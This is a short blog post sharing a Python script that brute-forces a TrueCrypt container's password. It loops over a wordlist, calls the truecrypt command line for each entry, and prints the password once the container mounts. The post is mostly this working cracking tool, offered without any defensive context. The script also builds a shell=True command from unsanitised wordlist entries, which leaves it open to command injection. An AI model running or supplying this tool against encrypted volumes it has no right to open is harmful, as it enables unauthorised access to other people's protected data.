TrueCrypt Password bruteforce

Categories: Python, Security

hello, guys, this  script will simply mount the container

with the password form the given password list

#!/usr/bin/env python
#TrueCrypt Crack Passowrd Based In Dic Attack
#Author : N1X
import subprocess
import sys
file = open(sys.argv[2])
passlist=file.readlines()

for password in passlist:
	print password.strip()
	command = "truecrypt -t --non-interactive %s -p %s" %(sys.argv[1],password.strip())
	p = subprocess.Popen(command,shell=True,stderr=subprocess.PIPE)
	r =  p.stderr.read()
	if r.startswith('Error'):
		pass
	else:
		print "Found Passowrd is :" + password
		exit()	

 

«
»

    Leave a Reply

    Your email address will not be published. Required fields are marked *

    *

    This site uses Akismet to reduce spam. Learn how your comment data is processed.